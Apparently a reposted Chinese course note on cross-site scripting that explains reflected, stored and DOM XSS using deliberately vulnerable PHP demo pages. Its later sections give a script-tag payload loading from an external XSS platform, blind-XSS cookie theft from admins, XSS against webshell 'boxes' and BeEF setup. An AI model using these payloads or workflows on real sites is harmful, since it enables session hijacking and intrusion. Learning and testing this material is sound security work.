当前位置:   article > 正文

25.XSS跨站原理分类和攻击手法_xss跨站之原理分类及

xss跨站之原理分类及

XSS跨站原理分类和攻击手法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-19oMSHrR-1649165667470)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211103210657459.png)]
就是和html语言打交道

归纳很全的大佬文章

二十五:XSS跨站值原理分类及攻击手法 - 九~月 - 博客园 (cnblogs.com)

知识汇总

XSS 跨站漏洞

1. XSS简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

img

img

2. 产生层面

产生层面一般都是在前端,JavaScript代码能干什么,执行之后就会达到相应的效果

3. 函数类

比如说php中的脚本的输出函数

常见的输出函数有:print、print_r、echo、printf、sprintf、die、var_dump、var_export

4. 漏洞操作对应层
5. 危害影响
  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  • 盗窃企业重要的具有商业价值的资料

  • 非法转账

  • 强制发送电子邮件

  • 网站挂马

  • 控制受害者机器向其它网站发起攻击

6. 浏览器内核版本

利用这个漏洞需要浏览器版本和内核没有过滤XSS攻击
ie 浏览器默认不行
在这里插入图片描述

7. 常出现场景

文章发表、评论、留言、注册资料的地方、修改资料的地方等

XSS常见出现漏洞的地方

数据交互的地方
		§ get、post、cookies、headers
		§ 反馈与浏览
		§ 富文本编辑器
		§ 各类标签插入和自定义
数据输出的地方
		§ 用户资料
		§ 关键词、标签、说明
		§ 文件上传
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

XSS 跨站漏洞分类:

1. 反射型

<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
(虽然还有种DOM型XSS,但是也还是包括在反射型XSS内)

为什么叫反射型XSS呢?
那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的。

为什么又叫非持久性XSS呢?
那是因为这种攻击方式只有一次性。

发包 x=xiaodi => x.php => 回包

2. 储存型

<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(。

为什么又叫持久性XSS?
那是因为这种攻击方式,是直接把恶意代码存入到数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本。

发包 x=xiaodi => x.php (后端代码)=> 写到数据库某个表 => x.php =>回显

3. DOM型

DOM可以被认为是一种通过将页面元素以对象的树形方式表现,以便由Javascript组织处理的实现方法。
image.png
例如哔哩哔哩评论就是用dom型加载的,url 不用改,简单理解:请求时,加载页面数据的展现形式不一样

常用的DOM方法

用户可通过 JavaScript (以及其他编程语言)对 HTML DOM 进行访问。所有 HTML 元素被定义为对象,而编程接口则是对象方法和对象属性。

在这里插入图片描述

基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

发包 x=xiaodi => 本地浏览器静态前端代码 =x.php

一个是后端语言进行数据处理
dom 属于用js代码经行处理

可以从源代码分析dom xss漏洞
  • 1
  • 2
  • 3
  • 4

代码:
在这里插入图片描述

在这里插入图片描述

#' οnclick="alert(2)">
  • 1

XSS 漏洞原理(转自此博客

1. 反射型XSS

在黑盒测试中,这种类型比较容易通过漏洞扫描器直接发现,我们只需要按照扫描结果进行相应的验证就可以了。

相对的在白盒审计中, 我们首先要寻找带参数的输出函数,接下来通过输出内容回溯到输入参数,观察是否过滤即可。

无案例不足以求真,这里我们选用echo()函数作为实例来分析:

新建 XssReflex.php,代码如下:

<html>
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS</title> 
</head> 
<body> 
<form action="" method="get"> 
<input type="text" name="input">     
<input type="submit"> 
</form> 
<br> 
<?php 
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?> 
</body> 
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

这是一个很简单、也很常见的页面:

变量 $XssReflex 获取 get 方式传递的变量名为 input 的变量值(值为一个字符串),然后直接通过echo()函数输出,注意这中间并未对用户输入进行任何过滤。

打开Firefox输入url:https://localhost/codeaudit/xss/XssReflex.php :

img

当我们输入 1 ,页面返回 1 :

img

当我们输入hello时,页面返回 hello :

img

以上都为正常的输出,但如果我们输出一些JavaScript代码呢?

比如我们输入 :s

img

可以看到浏览器成功弹窗,说明我们输出的JavaScript代码成功被执行了。

我们查看网页html代码:

img

第12行增加了:

<script>alert('xss')</script>
  • 1

这个弹窗并没有什么实际的意义,但通过它我们知道输入javascript代码是可以被执行的,当我们输入一些其他函数,比如 document.cookie 就可以成功盗取用户的cookie信息,或者读取用户浏览器信息等,为我们进一步深入攻击做铺垫。

2. 存储型XSS

和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。

存储型XSS攻击流程:

img

存储型XSS的白盒审计同样要寻找未过滤的输入点和未过滤的输出函数。

使用cat命令查看 XssStorage.php 代码

shiyanlou:~/ $ cat XssStorage.php
  • 1

代码如下:

<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>  
    <html>  
    <head>  
    <title>XssStorage</title>  
    </head>  
    <body>  
    <h2>Message Board<h2>  
    <br>
    <form action="XssStorage.php" method="post">  
    Message:<textarea id='Mid' name="desc"></textarea>  
    <br>  
    <br>  
    Subuser:<input type="text" name="user"/><br> 
    <br>
    <input type="submit" value="submit" οnclick='loction="XssStorage.php"'/>  
    </form>  
    <?php  
    if(isset($_POST['user'])&&isset($_POST['desc'])){  
    $log=fopen("sql.txt","a");  
    fwrite($log,$_POST['user']."\r\n");  
    fwrite($log,$_POST['desc']."\r\n");  
    fclose($log);  
    }  
      
    if(file_exists("sql.txt"))  
    {  
    $read= fopen("sql.txt",'r');  
    while(!feof($read))  
    {  
        echo fgets($read)."</br>";  
    }  
    fclose($read);  
    }  
    ?>  
    </body>  
    </html></span>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

页面功能简述:

这个页面采用POST提交数据,生成、读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt,再打开页面时会读取sql.txt中内容并显示在网页上,实现了存储型xss攻击模拟。

打开Firefox输入url:localhost/codeaudit/xss/XssStorage.php :

img

我们随意输出一些内容:

img

可以看到页面正常显示页面留言信息。

当我们在Message中输入<script>alert('xss')</script>时,页面成功弹窗 :

img

并且我们重启浏览器之后再加载该页面,页面依然会弹窗,这是因为恶意代码已经写入数据库中,每当有人访问该页面时,恶意代码就会被加载执行!

我们查看网页html代码:

img

这就是所谓的存储型XSS漏洞,一次提交之后,每当有用户访问这个页面都会受到XSS攻击,危害巨大。

3. DOM XSS

​ 特殊的存反射型XSS

自己的理解:漏洞就在htmL代码里实现
知识点:php代码在客户端是显示执行后的结果
html代码 在服务端和客户端看是一样的
通过javascript 操作代码这种情况称为dom型
  • 1
  • 2
  • 3
  • 4

XSS 常规攻击手法:

平台,工具,结合其他等

攻击成功的条件:对方有漏洞,浏览器存有cookie,浏览器不进行拦截,不存在带代码过滤和httponly,对方要触发这个漏洞地址

1、xss平台 https://xssye.com

<sCRiPt sRC=http://xssye.com/fX8W></sCrIpT>
  • 1

2、工具
3、结合其他漏洞 CSRF跨站请求伪造

XSS平台及工具使用 postman软件

WEBSHELL箱子管理系统   用beef反拿到订单管理系统的shell,进行社工,以及钓鱼各种操作。
  • 1

XSS经典应用案例测试

xss漏洞存在的地方
留言板 评论区 订单系统 意见反馈等
  • 1

cookie session

用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型企业
session 会话 存储服务器 存活时间较短 大型企业 会话劫持

session会占用服务器的资源,但是比较安全。比如说javaweb中的session序列化和反序列化。

Webshell后门中的后门

webshell箱子

Session与Cookie获取问题

XSS盲打:瞎打,只要存在一处就行。

拿到cookie还得查看是否是cookie验证还是session验证
  • 1

获取phpinfo界面里面的session id ,用xss平台拿网页源码。beef让用户访问phpinfo信息

document.cookie等
配合读取phpinfo等信息源码等

盗取Cookie的前提条件

网站存在xss漏洞
管理员保存密码(有cookie)
浏览器内核满足(不是ie)

演示案例:

1.某营销订单系统化xss盲打_平台

在这里插入图片描述

2.某shell箱子系统xss盲打_工具

3.其他参考应用案例-后台权限维持

4.工具http/s数据包提交postman使用

案例1:某营销订单系统化xss盲打_平台

待完成
在这里插入图片描述
管理后台查看:
在这里插入图片描述
xss平台:
在这里插入图片描述

在这里插入图片描述

案例2:某 Shell 箱子系统 XSS 盲打_工具

跨站漏洞可以应用在很多方面

webShell 箱子(后门中的后门) 一句话shell,脚本后门(大马),脚本控制网站,别有用心的人会在脚本中再写上后面,你入侵一个网站之后,你用他的后门脚本对网站进行一个控制,那么入侵网站的信息,你的后门地址,后门密码,会发送到一个地方,俗称
箱子、信封。

把你的后门地址和密码传回…

网上很多工具大马都有后门,把记录上传到他们那获利,自己成为工具人。

参考链接 https://blog.csdn.net/xf555er/article/details/105151100
  • 1

使用的时候可以抓包看是否向不明地址发数据包,如果它发送的是账户密码之类,在箱子管理页面有回显,那我们可以构造xss脚本反杀

本地搭建
在这里插入图片描述

用大马它会调用脚本发送到盒子
在这里插入图片描述

在这里插入图片描述

3、随意构造一个一句话木马,然后再一句话木马代码里插入javascript语句来制作后门(调用webshell箱子里的api.asp文件)。
在这里插入图片描述

4、当你插入这个一句话木马在某个网页,它会发送这个网页的url以及一句话木马的密码到后门服务器
在这里插入图片描述

5、当我们使用一些大马时可以通过抓包来判断是否有后门

在这里插入图片描述

当我们找到后门服务器的地址后,可以通过插入XSS语句来反杀后门
在这里插入图片描述

利用burp抓到发送到后门服务器的包,将发送的参数修改成xss代码

然后去后门服务器地址看一下,出现弹窗
在这里插入图片描述

案例3:其他参考应用案例-后台权限维持
beef工具使用

这里发现下载太慢了
把之前阿里的换中科的源

vim /etc/apt/sources.list  打开apt源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

更新源:apt-get update
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
下载beef
sudo apt-get install beef-xss
  • 1

修改默认密码,记得重启电脑或者杀死beef进程才能生效。
在这里插入图片描述

案例4:工具 Http/s 数据包提交 Postman 使用

在这里插入图片描述

添加cookie,后成功跳转后台在这里插入图片描述
在这里插入图片描述

因为采用的是session验证, 那么xss平台是接收不到PHPSESSION的,

session 是存储在网站服务器的。

5.XSS平台的使用和搭建

搭建蓝莲花xss测试平台

(可以github 自己搭建)
大多数的xss平台都类似
XSS Platform我自己注册的

https://xsshs.cn/xss.php?do=login

  1. 注册

img

  1. 新创建一个我的项目

img

  1. 选择自己需要的功能,打钩

img

  1. 查看代码

img

  1. 把这些跨站代码弄到目标攻击的网站

img

  1. 等管理员查看后台留言板的时候

s

  1. 发现请求了这个地址。在平台上就有信息了

img

涉及资源:

http://xss.fbisb.com/ XSS平台
https://xssye.com XSS平台
https://github.com/tennc/webshell
https://www.postman.com/downloads/ Postman工具下载

参考博客:
https://blog.csdn.net/MCTSOG/article/details/123432298
https://blog.csdn.net/zr1213159840/article/details/122287072

https://blog.csdn.net/MCTSOG/article/details/123407098?spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16.pc_relevant_default&utm_relevant_index=22
  • 1
https://blog.csdn.net/weixin_44532761/article/details/121744243?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&utm_relevant_index=9
  • 1

https://www.jianshu.com/p/4fcb4b411a66

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/150238
推荐阅读
相关标签
  

闽ICP备14008679号